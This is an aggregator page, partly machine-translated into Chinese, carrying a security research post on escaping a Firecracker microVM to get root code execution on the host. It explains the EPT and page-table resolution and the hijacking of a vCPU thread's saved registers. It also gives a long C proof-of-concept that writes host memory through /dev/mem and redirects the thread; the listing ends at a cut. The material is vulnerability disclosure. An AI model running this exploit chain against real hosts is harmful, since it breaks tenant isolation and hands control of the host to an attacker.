跳到正文
Hacker News-首页· SerCe·· 4 小时前精选AI 评分89

Firecracker VM 逃逸:PwnEscape 第二部分

Firecracker VM Escape: PwnEscape Part 2

AI 导读

本文介绍了针对 Firecracker 虚拟机的一项虚拟机逃逸技术研究(CVE-2026-99999),通过访问宿主机物理内存、定位 Firecracker 进程并修改活动 vCPU 线程的保存寄存器与栈内容,最终在宿主机上以 root 权限执行了指定代码。文中给出了完整的技术分析步骤以及相应的 C 语言概念验证代码。

推荐理由

文章详细记录了从虚拟机内部利用内存映射和寄存器劫持实现宿主机代码执行的技术流程,为理解虚拟化边界安全提供了具体的攻击面分析。

正文 · AI 翻译

New PwnEscape: Guest-to-host escape through the Linux kernel Read the research →×

ContactStart a Pentest

Back

Firecracker VM Escape: PwnEscape Part 2.

PWN Research, Paulos Yibelo ·19 m 19 min read

Image 1: Firecracker VM Escape: PwnEscape Part 2.

Firecracker is supposed to keep untrusted code inside a microVM. We escaped it and achieved code execution as root on the host.

We found how it saved registers, changed where it would resume, and made it execute a call of our choosing when it returned from KVM. The guest then restored the temporary stack changes. Firecracker kept running, and the VM remained accessible over SSH.

PwnEscape Part 1 introduced the host memory primitive behind this work. Here we follow the next part of the chain: using that access to find Firecracker in memory and take over a live thread from inside the guest. This is a continuation to show CVE-2026-99999 on a Firecracker setup.

00 / Choosing where to take control

A Firecracker microVM has a process on the host that manages it. Each virtual CPU, or vCPU, has a thread in that process. The thread enters KVM to run the guest and returns to Firecracker when an event needs handling in userspace. Firecracker documents this arrangement in its architecture overview.

Image 2: firecracker-host-integration-dbdde36ef234

firecracker-host-integration-dbdde36ef234

The call that runs the virtual CPU looks like this:

ioctl(vcpu_fd, KVM_RUN, 0);

While the thread is in that system call, the host kernel holds its saved userspace registers in a structure called pt_regs. These registers describe the Firecracker thread: its instruction pointer says where execution should resume, and its stack pointer says which userspace stack it should use.

That made the return from KVM_RUN an attractive target. If we could locate and modify the saved frame, we could choose the code Firecracker executed when the thread returned to userspace. A guest operation that caused such a return would provide the trigger.

We already had access to selected host physical memory through a guest mapping. To use it, we needed to identify the Firecracker process, find code we could call in that process, and locate the register frame belonging to its active vCPU thread. The starting point was a page of memory we controlled inside the guest.

Image 3: 01-guest-to-vmm-chain-5c0fbee0cb07

01-guest-to-vmm-chain-5c0fbee0cb07

Figure 1. The guest identifies its Firecracker process, finds the saved registers for a vCPU thread, and redirects the thread when it returns from KVM.

01 / Finding our guest page on the host

The guest and host use different physical address spaces. A page has a guest physical address, or GPA, inside the VM and a host physical address, or HPA, in the machine backing it. On the target, Extended Page Tables (EPT) provide the translation between them.

We placed a recognizable byte pattern, a nonce, in a guest page. The first resolver took that page's known GPA and its contents as inputs. Together, they gave us an address to translate and a way to check whether the translation reached our page.

The resolver searched the host physical ranges covered by the memory primitive for candidate EPT roots. An EPT root is the starting point of the translation tables. For each candidate, the resolver followed the entries selected by the guest address until it reached a physical page, then checked that page for the nonce.

以下片段是带有描述性辅助名称的解释性伪代码。它们展示了在各阶段之间传递的数据以及用于连接它们的检查。

for root in candidate_ept_roots:
    page_hpa = walk_ept(root, guest_gpa)
    if page_hpa is invalid:
        continue

    contents = read_host(page_hpa, length(nonce))
    if contents == nonce:
        candidates.append((root, page_hpa))

随机数(nonce)检查将建议的翻译与我们控制的内存连接起来。更广泛的搜索产生了两个候选对象;对嵌套页表的验证将其减少到一个 EPT 根。遍历该根目录,我们得到了客户机页面的宿主机物理地址。

我们称该结果为 guest_page_hpa 并将其传递给下一个解析器。现在我们在宿主机内存中拥有了一个可识别的对象。接下来的任务是找到映射它的宿主机进程。

02 / 寻找 Firecracker 进程

Firecracker 将客户机使用的内存映射到其自己的地址空间中。这种映射为我们提供了一种从客户机页面反向推导到进程的方法。

宿主机进程使用页表将其虚拟地址转换为物理地址。最顶层被称为页全局目录(PGD)。恢复适当的 PGD 可以让我们翻译 Firecracker 内部的地址,并通过内存原语读取其代码和栈。

我们的逆向映射器在宿主机的原生页表中搜索 guest_page_hpa 的映射。常规的页表遍历从虚拟地址开始并产生物理地址。在这里,我们寻找指向已知物理页面的映射,然后恢复与之关联的虚拟地址和页表根。

该检查在双向运行:

for mapping in reverse_map_host_page_tables(guest_page_hpa):
    pgd = mapping.root
    guest_page_va = mapping.virtual_address

    resolved_hpa = walk_host_page_tables(pgd, guest_page_va)
    if resolved_hpa != guest_page_hpa:
        continue

    if read_host(resolved_hpa, length(nonce)) != nonce:
        continue

    process_candidates.append((pgd, guest_page_va))

这把宿主机进程的虚拟映射连接到了通过 EPT 找到的物理页面。逆向映射器返回了一个经过验证的地址空间。我们将其根保留为 host_pgd 并用它来检查该进程。

下一个解析器在这些映射中寻找 Firecracker 可执行文件。它识别出一个 ELF 镜像,并检查了 Firecracker 的 write(2) 包装器中的一个已知字节序列。这把恢复出来的地址空间连接到了我们目标定位的二进制文件。

ASLR 会改变可执行文件的加载位置。ELF 镜像中的地址与其对应的运行时地址之间的差值就是加载偏移(load bias)。一旦映射器识别出了该镜像,它就可以恢复该偏移并用它来定位漏洞利用所需的代码:

runtime_code_address = load_bias + code_address_in_elf

映射器将加载偏移返回为 firecracker_base。有了该值和 host_pgd,我们就可以在运行中的进程中定位代码,将其虚拟地址转换为宿主机物理内存,并将那里的字节与预期的二进制文件进行比较。

我们检查了三个位置:将产生我们证明的 write(2) 包装器、KVM ioctl 之后的延续位置,以及安全返回所需的短 xor eax,eax; ret 序列。当我们在下面构建返回路径时,它们的用途就会变得相关。

此时,客户机可以检查 Firecracker 镜像及其私有映射。我们仍然需要当前运行我们 VM 的线程的保存寄存器。

Image 4: 02-address-resolution-0e47fd8bf102

02-address-resolution-0e47fd8bf102

图 2. 随机数在宿主机内存中标识客户机页面。其映射通向一个宿主机页表根,这使得下一个解析器能够定位并验证 Firecracker 镜像。

03 / 定位活动的 vCPU 框架

框架查找器从前几个阶段获取 host_pgd 和 firecracker_base。它利用这些信息来识别宿主机线程的保存状态。

最有用的线索是返回地址。KVM_RUN 中的 vCPU 线程应该在 Firecracker 中相应的 ioctl 续存处有一个保存的指令指针。我们可以从经过验证的二进制文件及其加载偏移中计算出该地址。

然后我们搜索宿主机内存中与该调用一致的 pt_regs 帧。单纯的地址匹配也会捡起陈旧的栈内容,因此候选者必须满足几个相关的检查:

保存的状态 我们检查了什么
系统调用 系统调用标识和进行中的状态与活动的 ioctl 相匹配。
请求参数 ioctl 请求是 KVM_RUN。
文件描述符 描述符落在辅助函数的预期范围内。
指令指针 它与经过验证的 Firecracker ioctl 延续相匹配。
栈指针 它通过恢复的宿主机 PGD 进行转换。
段选择器和标志 它们描述了返回到用户空间的有效过程。
调用者返回地址 它落入经过验证的 Firecracker 文本映射内部。

栈检查将该帧与我们从客户机页面恢复的地址空间绑定在一起。指令和调用者地址将其与 Firecracker 镜像绑定。系统调用字段将其与运行 vCPU 的操作绑定。

搜索只剩下一个候选者。其位置存储为 frame_hpa,即保存的寄存器帧的宿主机物理地址。我们将其、PGD 和加载偏移量传递给最后的辅助函数。

在修改内存之前,辅助函数重复了代码签名、帧和栈检查。这确保了活动阶段使用解析器所识别的相同的进程状态。随后的执行和恢复检查将确定所选帧是活动的。

Image 5: 03-live-kvm-run-frame-ddb3ad26cf50

03-live-kvm-run-frame-ddb3ad26cf50

图 3. 候选寄存器帧必须与 KVM ioctl、恢复的进程页表以及经过验证的 Firecracker 代码一致。

04 / 重定向来自 KVM 的返回

我们选择了一个简单的有效负载:让 Firecracker 进程向其自身的 stderr 写入一个可识别的字符串。这将为宿主机运行程序提供来自我们已接管进程的可观察结果。

该字符串是 N8V23M2\n,七个字符后跟一个换行符。它占用八个字节,适合一个栈字。我们希望 Firecracker 执行的调用是:

write(2, "N8V23M2\n", 8);

这里 2 是 Firecracker 的 stderr 文件描述符。缓冲区指针必须指向 Firecracker 地址空间中的字符串,因此我们将该字符串存储在其私有的用户空间栈上。

我们在修改它们之前保存了三个栈字。一个保存字符串;另外两个保存临时调用序列的返回地址。然后我们更改了保存的寄存器帧,以提供包装器地址、其参数以及该序列的栈指针:

RIP  = address of Firecracker's write wrapper
RDI  = 2
RSI  = virtual address of the marker on Firecracker's stack
RDX  = 8
RSP  = virtual address of the temporary return sequence

从 write 返回也需要小心。成功写入八个字节返回 8,而成功的 KVM_RUN 调用返回零。我们将 xor eax,eax; ret 的地址放在返回序列的第一位。它在第二个地址将执行带回 Firecracker 原本的 ioctl 延续之前清除返回值。

由此产生的控制流是:

KVM_RUN returns to userspace
    -> Firecracker's write wrapper emits the marker
    -> xor eax,eax; ret sets the return value to zero
    -> execution resumes at the original ioctl continuation

准备好栈和保存的寄存器后,客户机向其串口写入了一个字节。该操作导致 vCPU 线程从 KVM_RUN 返回。内核恢复了修改后的寄存器,Firecracker 带着我们的参数进入了 write 包装器。

包装器发出了标记,返回序列清除了 eax,并且线程重新加入了其原始的执行路径。在控制权返回给客户机后,辅助函数恢复了所有三个栈字。

Image 6: 04-reversible-control-flow-10ae6af41746

04-reversible-control-flow-10ae6af41746

图 4. 保存的寄存器帧进入写包装器。两个返回地址穿过返回值调整并返回到原本的 Firecracker 路径中。

05 / 检查执行与恢复

宿主机运行器将 Firecracker 的标准错误输出与客户机分开捕获。完整输出为:

N8V23M2

捕获内容正好包含八个字节,包括最后的换行符。Firecracker 仍在运行,客户机 SSH 响应正常,且辅助程序已恢复这三个临时栈字。

我们通过一次没有内存更改的新运行来检查恢复情况。它被赋予相同的栈帧地址,并在触发后重复了寄存器、代码和栈检查。检查通过,并且它在临时栈位置没有发现陈旧的标记。

这些观测结果回答了三个不同的问题。客户机日志记录了触发和恢复情况。宿主机捕获显示 Firecracker 执行了所选操作。最终验证检查了执行后的状态。

检查 记录结果
Firecracker 标准错误 一份标记副本,总计八个字节
Firecracker 进程 PID 2936,触发后仍然存活
客户机健康状态 SSH 响应正常;运行时间 1615.72 秒
临时栈状态 所有三个原始字均已恢复
可执行代码和共享库 未修改
触发后的宿主机内核错误 未观察到
恢复后的验证 提供的栈帧地址及周围的不变式均通过
Image 7: 05-proof-receipt-6e8ad89bf50c

05-proof-receipt-6e8ad89bf50c

图 5. 客户机日志、Firecracker 标准错误捕获以及最终验证记录了触发、宿主机执行和恢复后的状态。

06 / 宿主机上的根权限执行

当标记出现时,客户机已选择了宿主机线程的指令指针、函数参数、栈数据和返回路径。Firecracker 使用自身的特权执行了该调用。

目标是 x86-64 架构上的 Firecracker v1.16.1,宿主机内核为 7.0.0-1011-aws,客户机内核为 6.18.44+。我们在 systemd-run 下直接以 root 身份启动了 Firecracker,并用 taskset 将其绑定。因此,受控调用在宿主机上以 root 身份执行。

现有的写入封装器为我们提供了该控制的紧凑证明。将其扩展到其他调用需要选择与进程映射和系统调用策略兼容的代码和参数。

此处使用的配置没有使用隔离器(jailer)。Firecracker 的生产环境容器化包括放弃特权并通过命名空间(namespaces)和 seccomp 限制进程。使用这些控制的部署需要对妥协其 VMM 后可用的特权和资源进行单独评估。

地址发现是使漏洞利用能够跟踪运行中实例的关键。EPT 解析器将客户机页面连接到宿主机内存;反向映射器恢复宿主机的地址空间;镜像映射器在 ASLR 下定位 Firecracker;栈帧查找器识别 vCPU 的保存状态。将最后阶段适配到另一个构建版本需要验证该二进制文件的代码签名和返回路径。

客户机利用对宿主机内存的访问接管了运行虚拟机本身的线程。串行写入提供了触发条件,接下来的用户空间操作就属于我们了。

捕获的解析器值和人工产物

以下值来自保留的执行记录。上述方法使用符号名称以便每个角色的作用清晰明了;此表将这些名称与记录的地址连接起来。

值 记录的地址 它进入调用链的位置
guest_gpa 0x08f03000 随机数页的客户机物理地址,提供给第一个解析器
guest_page_hpa 0x165610000 该页的宿主机地址,由 EPT 解析器找到
host_pgd 0x14afc2000 由反向映射器恢复的宿主机页表根目录
firecracker_base 0x7298c2400000 由镜像映射器恢复的 Firecracker 加载偏置(load bias)
frame_hpa 0x13a5bff48 为活动阶段选定的保存寄存器帧

这些记录使用运行 ID eventpath-v23-0907self02 和引导 ID 2b3cd5ac-2311-427f-a50a-6a79ecb8daa7。这些标识符将解析器记录、主机捕获以及恢复后的验证关联起来。

先前的内存提供程序在构建内存孔径后,也接收了主机选择的任务和金丝雀页面帧号作为独立的验证覆盖层。这些地址未被 EPT 解析器、反向映射器、Firecracker 映射器、帧查找器或最终标记辅助程序消费。

发布包包含最终的辅助程序源码、JSONL 解析器记录、主机捕获、恢复清单、四个带有来源证明的保留只读解析器二进制文件以及 SHA-256 清单。最终的辅助程序接受解析器产生的 PGD、加载偏置和帧 HPA。其检查涵盖运行标识符、地址范围、代码签名、保存的寄存器和栈几何结构;其演练(dry-run)模式在不写入内存的情况下执行验证。

概念验证

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE_U64 UINT64_C(4096)
#define HUGE_2M_U64 (UINT64_C(1) << 21)
#define HUGE_1G_U64 (UINT64_C(1) << 30)
#define L4_ALIAS_BASE (UINT64_C(1) << 39)
#define FIRST_HPA_GIB UINT64_C(4)
#define LAST_HPA_GIB UINT64_C(192)
#define MARKER_CONFLICT_HPA_GIB UINT64_C(16)
#define MARKER_REMAP_ENTRY UINT64_C(193)
#define ADDRESS_MASK_4K UINT64_C(0x000ffffffffff000)
#define ADDRESS_MASK_2M UINT64_C(0x000fffffffe00000)
#define ADDRESS_MASK_1G UINT64_C(0x000fffffc0000000)
#define PTE_PRESENT UINT64_C(0x1)
#define PTE_USER UINT64_C(0x4)
#define PTE_LARGE UINT64_C(0x80)
#define PTE_PROTNONE UINT64_C(0x100)
#define IOCTL_RETURN_VADDR UINT64_C(0x26aad2)
#define WRITE_VADDR UINT64_C(0x27071e)
#define ZERO_EAX_RET_VADDR UINT64_C(0x1b274)
#define TEXT_FIRST_VADDR UINT64_C(0x12000)
#define TEXT_LAST_VADDR UINT64_C(0x276000)
#define KVM_RUN_REQUEST UINT64_C(0xae80)
#define SYS_IOCTL UINT64_C(16)
#define SYSCALL_AX_IN_PROGRESS UINT64_C(0xffffffffffffffda)
#define USER_CS UINT64_C(0x33)
#define USER_SS UINT64_C(0x2b)
#define PTREG_WORDS UINT64_C(21)
#define MARKER_LENGTH UINT64_C(8)
#define MARKER_STACK_OFFSET UINT64_C(0x30)
#define ROP_STACK_OFFSET UINT64_C(16)
#define SERIAL_PORT UINT64_C(0x3f8)

static const uint8_t marker_bytes[MARKER_LENGTH] = {
    'N', '8', 'V', '2', '3', 'M', '2', '\n'
};

static const uint8_t write_prefix[] = {
    0x48, 0x83, 0xec, 0x10, 0x49, 0x89, 0xf2, 0x48,
    0x89, 0xd1, 0x48, 0x63, 0xf7, 0x6a, 0x00
};

static const uint8_t ioctl_continuation[] = {
    0x48, 0x63, 0xf8, 0xe8, 0xc3, 0xe1, 0xff,
    0xff, 0x48, 0x83, 0xc4, 0x58, 0xc3
};

static const uint8_t zero_eax_ret[] = {0x31, 0xc0, 0xc3};

static void fault_handler(int signal_number)
{
    _exit(128 + signal_number);
}

static int valid_run_id(const char *value)
{
    size_t length = strlen(value);
    if (length < 14 || length > 64 ||
        strncmp(value, "eventpath-v23-", 14) != 0) {
        return 0;
    }
    for (size_t index = 0; index < length; index++) {
        unsigned char byte = (unsigned char)value[index];
        if (!((byte >= 'a' && byte <= 'z') ||
              (byte >= '0' && byte <= '9') || byte == '-')) {
            return 0;
        }
    }
    return 1;
}

static uint64_t parse_address(const char *text, int page_aligned)
{
    char *end = NULL;
    uint64_t value;
    if (text == NULL || strncmp(text, "0x", 2) != 0) {
        fprintf(stderr, "hex address required\n");
        exit(64);
    }
    errno = 0;
    value = strtoull(text + 2, &end, 16);
    if (errno != 0 || end == text + 2 || *end != '\0' || value == 0 ||
        (page_aligned && (value & (PAGE_SIZE_U64 - 1)) != 0)) {
        fprintf(stderr, "invalid address\n");
        exit(64);
    }
    return value;
}

static uint64_t alias_entry_for_hpa_gib(uint64_t hpa_gib)
{
    return hpa_gib == MARKER_CONFLICT_HPA_GIB ?
           MARKER_REMAP_ENTRY : hpa_gib;
}

static uint64_t alias_gpa_for_hpa(uint64_t hpa)
{
    uint64_t hpa_gib = hpa >> 30;
    if (hpa_gib < FIRST_HPA_GIB || hpa_gib > LAST_HPA_GIB) {
        fprintf(stderr, "host physical address outside mapped window\n");
        exit(70);
    }
    return L4_ALIAS_BASE |
           (alias_entry_for_hpa_gib(hpa_gib) << 30) |
           (hpa & (HUGE_1G_U64 - 1));
}

static uint8_t *map_host_page(int descriptor, uint64_t page_hpa, int prot)
{
    uint8_t *mapping;
    if ((page_hpa & (PAGE_SIZE_U64 - 1)) != 0) {
        fprintf(stderr, "unaligned host page\n");
        exit(70);
    }
    mapping = mmap(NULL, PAGE_SIZE_U64, prot, MAP_SHARED, descriptor,
                   (off_t)alias_gpa_for_hpa(page_hpa));
    if (mapping == MAP_FAILED) {
        perror("mmap host page");
        exit(70);
    }
    return mapping;
}

static uint64_t read_u64_hpa(int descriptor, uint64_t hpa)
{
    uint8_t *mapping;
    uint64_t value;
    uint64_t page_hpa = hpa & ~(PAGE_SIZE_U64 - 1);
    uint64_t offset = hpa & (PAGE_SIZE_U64 - 1);
    if (offset > PAGE_SIZE_U64 - sizeof(value)) {
        fprintf(stderr, "cross-page host read rejected\n");
        exit(70);
    }
    mapping = map_host_page(descriptor, page_hpa, PROT_READ);
    memcpy(&value, mapping + offset, sizeof(value));
    if (munmap(mapping, PAGE_SIZE_U64) != 0) {
        perror("munmap host read");
        exit(70);
    }
    return value;
}

static int native_user_entry(uint64_t value)
{
    return (value & (PTE_PRESENT | PTE_USER)) ==
           (PTE_PRESENT | PTE_USER);
}

static int native_protnone_leaf(uint64_t value)
{
    return !(value & PTE_PRESENT) && (value & PTE_PROTNONE) &&
           !(value & PTE_LARGE);
}

static uint64_t walk_native(int descriptor, uint64_t pgd_hpa,
                            uint64_t virtual_address)
{
    const unsigned shifts[4] = {39, 30, 21, 12};
    uint64_t table = pgd_hpa;
    for (unsigned level = 0; level < 4; level++) {
        uint64_t index = (virtual_address >> shifts[level]) & UINT64_C(0x1ff);
        uint64_t entry = read_u64_hpa(
            descriptor, table + index * sizeof(uint64_t));
        if (level == 3 && native_protnone_leaf(entry)) {
            return ((~entry) & ADDRESS_MASK_4K) +
                   (virtual_address & (PAGE_SIZE_U64 - 1));
        }
        if (!native_user_entry(entry)) {
            return UINT64_MAX;
        }
        if (level == 1 && (entry & PTE_LARGE)) {
            return (entry & ADDRESS_MASK_1G) +
                   (virtual_address & (HUGE_1G_U64 - 1));
        }
        if (level == 2 && (entry & PTE_LARGE)) {
            return (entry & ADDRESS_MASK_2M) +
                   (virtual_address & (HUGE_2M_U64 - 1));
        }
        table = entry & ADDRESS_MASK_4K;
    }
    return table + (virtual_address & (PAGE_SIZE_U64 - 1));
}

static int read_process_bytes(int descriptor, uint64_t pgd_hpa,
                              uint64_t virtual_address, uint8_t *output,
                              size_t length)
{
    size_t copied = 0;
    while (copied < length) {
        uint64_t address = virtual_address + copied;
        uint64_t hpa = walk_native(descriptor, pgd_hpa, address);
        uint64_t offset;
        size_t chunk;
        uint8_t *mapping;
        if (hpa == UINT64_MAX) {
            return 0;
        }
        offset = hpa & (PAGE_SIZE_U64 - 1);
        chunk = PAGE_SIZE_U64 - offset;
        if (chunk > length - copied) {
            chunk = length - copied;
        }
        mapping = map_host_page(descriptor, hpa & ADDRESS_MASK_4K,
                                PROT_READ);
        memcpy(output + copied, mapping + offset, chunk);
        if (munmap(mapping, PAGE_SIZE_U64) != 0) {
            perror("munmap process read");
            exit(70);
        }
        copied += chunk;
    }
    return 1;
}

int main(int argc, char **argv)
{
    const char *ack = getenv("NET08_V23_PRIVATE_STACK_MARKER_ACK");
    const char *mode = getenv("NET08_V23_PRIVATE_STACK_MARKER_MODE");
    const char *run_id;
    uint64_t pgd_hpa;
    uint64_t load_bias;
    uint64_t ptregs_hpa;
    uint64_t ptregs_page_hpa;
    uint64_t ptregs_offset;
    uint64_t regs[PTREG_WORDS];
    uint64_t user_sp;
    uint64_t marker_va;
    uint64_t rop_stack_va;
    uint64_t ioctl_return_slot_va;
    uint64_t marker_hpa;
    uint64_t rop_stack_hpa;
    uint64_t ioctl_return_slot_hpa;
    uint64_t original_marker;
    uint64_t original_rop_first;
    uint64_t original_rop_second;
    uint64_t caller_return;
    uint64_t marker_word;
    uint64_t ioctl_return_va;
    uint64_t write_va;
    uint64_t zero_eax_ret_va;
    uint8_t observed[sizeof(write_prefix) > sizeof(ioctl_continuation) ?
                     sizeof(write_prefix) : sizeof(ioctl_continuation)];
    uint8_t *ptregs_page;
    uint8_t *stack_page;
    volatile uint64_t *live_regs;
    int memory_fd;
    int port_fd;
    struct sigaction action;
    ssize_t trigger_result;

    if (argc != 5 || !valid_run_id(argv[1])) {
        fprintf(stderr,
                "usage: marker eventpath-v23-* pgd-hpa load-bias ptregs-hpa\n");
        return 64;
    }
    run_id = argv[1];
    if (geteuid() != 0 || mode == NULL || ack == NULL ||
        !((strcmp(mode, "dry-run") == 0 && strcmp(ack,
             "OWNED_FIRECRACKER_PRIVATE_STACK_MARKER_READ_ONLY_DRY_RUN") == 0) ||
          (strcmp(mode, "active") == 0 && strcmp(ack,
             "OWNED_FIRECRACKER_PRIVATE_STACK_MARKER_ONLY") == 0))) {
        fprintf(stderr, "exact owned private-stack marker mode and acknowledgement required\n");
        return 64;
    }
    pgd_hpa = parse_address(argv[2], 1);
    load_bias = parse_address(argv[3], 1);
    ptregs_hpa = parse_address(argv[4], 0);
    if (pgd_hpa < FIRST_HPA_GIB * HUGE_1G_U64 ||
        pgd_hpa >= (LAST_HPA_GIB + 1) * HUGE_1G_U64 ||
        ptregs_hpa < FIRST_HPA_GIB * HUGE_1G_U64 ||
        ptregs_hpa >= (LAST_HPA_GIB + 1) * HUGE_1G_U64 ||
        load_bias >= (UINT64_C(1) << 47)) {
        fprintf(stderr, "address outside owned geometry\n");
        return 64;
    }
    ptregs_page_hpa = ptregs_hpa & ADDRESS_MASK_4K;
    ptregs_offset = ptregs_hpa & (PAGE_SIZE_U64 - 1);
    if (ptregs_offset > PAGE_SIZE_U64 - sizeof(regs)) {
        fprintf(stderr, "pt_regs crosses host page\n");
        return 64;
    }

    memset(&action, 0, sizeof(action));
    action.sa_handler = fault_handler;
    sigemptyset(&action.sa_mask);
    if (sigaction(SIGBUS, &action, NULL) != 0 ||
        sigaction(SIGSEGV, &action, NULL) != 0) {
        perror("sigaction");
        return 70;
    }
    memory_fd = open("/dev/mem", O_RDWR | O_SYNC | O_CLOEXEC);
    if (memory_fd < 0) {
        perror("open /dev/mem");
        return 70;
    }
    port_fd = open("/dev/port", O_WRONLY | O_CLOEXEC);
    if (port_fd < 0) {
        perror("open /dev/port");
        return 70;
    }

    ioctl_return_va = load_bias + IOCTL_RETURN_VADDR;
    write_va = load_bias + WRITE_VADDR;
    zero_eax_ret_va = load_bias + ZERO_EAX_RET_VADDR;
    if (!read_process_bytes(memory_fd, pgd_hpa, write_va, observed,
                            sizeof(write_prefix)) ||
        memcmp(observed, write_prefix, sizeof(write_prefix)) != 0) {
        fprintf(stderr, "write wrapper prefix mismatch\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, ioctl_return_va, observed,
                            sizeof(ioctl_continuation)) ||
        memcmp(observed, ioctl_continuation,
               sizeof(ioctl_continuation)) != 0) {
        fprintf(stderr, "ioctl continuation mismatch\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, zero_eax_ret_va, observed,
                            sizeof(zero_eax_ret)) ||
        memcmp(observed, zero_eax_ret, sizeof(zero_eax_ret)) != 0) {
        fprintf(stderr, "zero-eax return gadget mismatch\n");
        return 70;
    }

    ptregs_page = map_host_page(memory_fd, ptregs_page_hpa,
                                PROT_READ | PROT_WRITE);
    memcpy(regs, ptregs_page + ptregs_offset, sizeof(regs));
    live_regs = (volatile uint64_t *)(ptregs_page + ptregs_offset);
    if (regs[10] != SYSCALL_AX_IN_PROGRESS || regs[12] != 0 ||
        regs[13] != KVM_RUN_REQUEST || regs[14] < 3 || regs[14] > 4096 ||
        regs[15] != SYS_IOCTL || regs[16] != ioctl_return_va ||
        regs[17] != USER_CS || !(regs[18] & UINT64_C(2)) ||
        regs[19] < UINT64_C(0x1000) || regs[19] >= (UINT64_C(1) << 47) ||
        regs[20] != USER_SS) {
        fprintf(stderr, "live KVM_RUN pt_regs validation failed\n");
        return 70;
    }
    user_sp = regs[19];
    marker_va = user_sp + MARKER_STACK_OFFSET;
    rop_stack_va = user_sp - ROP_STACK_OFFSET;
    ioctl_return_slot_va = user_sp - sizeof(uint64_t);
    marker_hpa = walk_native(memory_fd, pgd_hpa, marker_va);
    rop_stack_hpa = walk_native(memory_fd, pgd_hpa, rop_stack_va);
    ioctl_return_slot_hpa = walk_native(memory_fd, pgd_hpa,
                                         ioctl_return_slot_va);
    if (marker_hpa == UINT64_MAX || rop_stack_hpa == UINT64_MAX ||
        ioctl_return_slot_hpa == UINT64_MAX ||
        (marker_hpa & ADDRESS_MASK_4K) !=
        (rop_stack_hpa & ADDRESS_MASK_4K) ||
        (marker_hpa & ADDRESS_MASK_4K) !=
        (ioctl_return_slot_hpa & ADDRESS_MASK_4K) ||
        (marker_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - MARKER_LENGTH ||
        (rop_stack_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - sizeof(uint64_t) ||
        (ioctl_return_slot_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - sizeof(uint64_t)) {
        fprintf(stderr, "private stack slot geometry rejected\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, user_sp + UINT64_C(0x58),
                            (uint8_t *)&caller_return,
                            sizeof(caller_return)) ||
        caller_return < load_bias + TEXT_FIRST_VADDR ||
        caller_return >= load_bias + TEXT_LAST_VADDR) {
        fprintf(stderr, "Firecracker caller return validation failed\n");
        return 70;
    }

    stack_page = map_host_page(memory_fd, marker_hpa & ADDRESS_MASK_4K,
                               PROT_READ | PROT_WRITE);
    memcpy(&original_marker,
           stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           sizeof(original_marker));
    memcpy(&original_rop_first,
           stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           sizeof(original_rop_first));
    memcpy(&original_rop_second,
           stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           sizeof(original_rop_second));
    memcpy(&marker_word, marker_bytes, sizeof(marker_word));
    if (original_marker == marker_word) {
        fprintf(stderr, "marker already present\n");
        return 70;
    }

    printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
           "\"event\":\"marker_plan\",\"runId\":\"%s\","
           "\"hostPgdHpa\":\"0x%" PRIx64 "\","
           "\"ptRegsHpa\":\"0x%" PRIx64 "\","
           "\"markerHostVa\":\"0x%" PRIx64 "\","
           "\"markerHpa\":\"0x%" PRIx64 "\","
           "\"writeHostVa\":\"0x%" PRIx64 "\","
           "\"zeroEaxRetHostVa\":\"0x%" PRIx64 "\","
           "\"ioctlReturnHostVa\":\"0x%" PRIx64 "\","
           "\"mode\":\"%s\","
           "\"privateUserStackOnly\":true,"
           "\"sharedTextWriteAttempted\":false,"
           "\"shellAttempted\":false,\"hostCommandAttempted\":false}\n",
           run_id, pgd_hpa, ptregs_hpa, marker_va, marker_hpa,
           write_va, zero_eax_ret_va, ioctl_return_va, mode);
    fflush(stdout);

    if (strcmp(mode, "dry-run") == 0) {
        printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
               "\"event\":\"marker_dry_run_complete\","
               "\"runId\":\"%s\",\"writeAttempted\":false,"
               "\"sharedTextWriteAttempted\":false,"
               "\"shellAttempted\":false,"
               "\"hostCommandAttempted\":false}\n", run_id);
        fflush(stdout);
        if (munmap(stack_page, PAGE_SIZE_U64) != 0 ||
            munmap(ptregs_page, PAGE_SIZE_U64) != 0) {
            perror("munmap dry-run pages");
            return 70;
        }
        close(port_fd);
        close(memory_fd);
        return 0;
    }

    memcpy(stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           marker_bytes, MARKER_LENGTH);
    memcpy(stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           &zero_eax_ret_va, sizeof(zero_eax_ret_va));
    memcpy(stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           &ioctl_return_va, sizeof(ioctl_return_va));
    __atomic_thread_fence(__ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[14], UINT64_C(2), __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[13], marker_va, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[12], MARKER_LENGTH, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[19], rop_stack_va, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[16], write_va, __ATOMIC_SEQ_CST);

    trigger_result = pwrite(port_fd, "!", 1, (off_t)SERIAL_PORT);
    if (trigger_result != 1) {
        perror("serial exit trigger");
        return 70;
    }

    memcpy(stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           &original_marker, sizeof(original_marker));
    memcpy(stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           &original_rop_first, sizeof(original_rop_first));
    memcpy(stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           &original_rop_second, sizeof(original_rop_second));
    __atomic_thread_fence(__ATOMIC_SEQ_CST);

